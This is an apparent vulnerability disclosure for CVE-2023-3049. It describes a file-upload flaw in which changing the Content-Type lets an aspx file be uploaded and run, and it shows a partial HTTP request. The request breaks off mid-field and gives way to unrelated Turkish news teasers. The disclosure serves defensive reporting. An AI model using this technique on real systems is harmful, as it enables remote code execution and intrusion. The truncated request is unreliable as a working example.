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CVE-ID: CVE-2023-3049

Author: Efe Özel

Team: Ömer Yılmaz – Murat Öztürk

Parameter: Content-Type: text/plain
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Details: We can upload the file type we want by changing the content-type. In this way, it is

possible to run a command by uploading an aspx file.

HTTP REQUEST
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POST /Ayarlar/KullaniciResimGuncelle HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data; boundary=-------------------------

Content-Length: 351

Origin: http://127.0.0.1

Connection: close

Referer: http://127.0.0.1/Ayarlar/KullaniciAyari/20

Cookie: admin=20

-----------------------------3792758355144257305179945303

Content-Disposition: form-data; name="resim"; filename="fordefence.tx

Content-Type: text/plain

İlgili Yazılar

Cisco IP Telefonlarında Kritik Güvenlik Açığı Keşfedildi

Cisco, IP telefon web sunucusunda kimliği doğrulanmamış bir saldırgan tarafından uzaktan kod

yürütülmesine olanak sağlayan kritik bir güvenlik açığının önüne...
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DEVAMI...
(https://fordefence.com/cisco-ip-telefonlarinda-kritik-guvenlik-acigi-kesfedildi/)

26 Ocak 2024

2020 Yaz Dönemi Staj Başvuruları Hakkında

Covid-19 salgını nedeniyle 2020 yaz döneminde stajer öğrenci alımı yapılmayacaktır. Fordefence Adli

Bilişim Laboratuvarı...

DEVAMI...
(https://fordefence.com/2020-yaz-donemi-staj-basvurulari-hakkinda/)

26 Ocak 2024
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Covid-19 tedbirlerinden Mobil cihaz temizliği nasıl olmalı

Ceo’muz Mustafa SANSAR Haber Global Ana Haber’e ‘Covid-19 tedbirlerinden, Mobil cihaz temizliği nasıl

olmalı’ Konularında görüşlerini aktardı. ...

DEVAMI...
(https://fordefence.com/covid-19-tedbirlerinden-mobil-cihaz-temizligi-nasil-olmali/)
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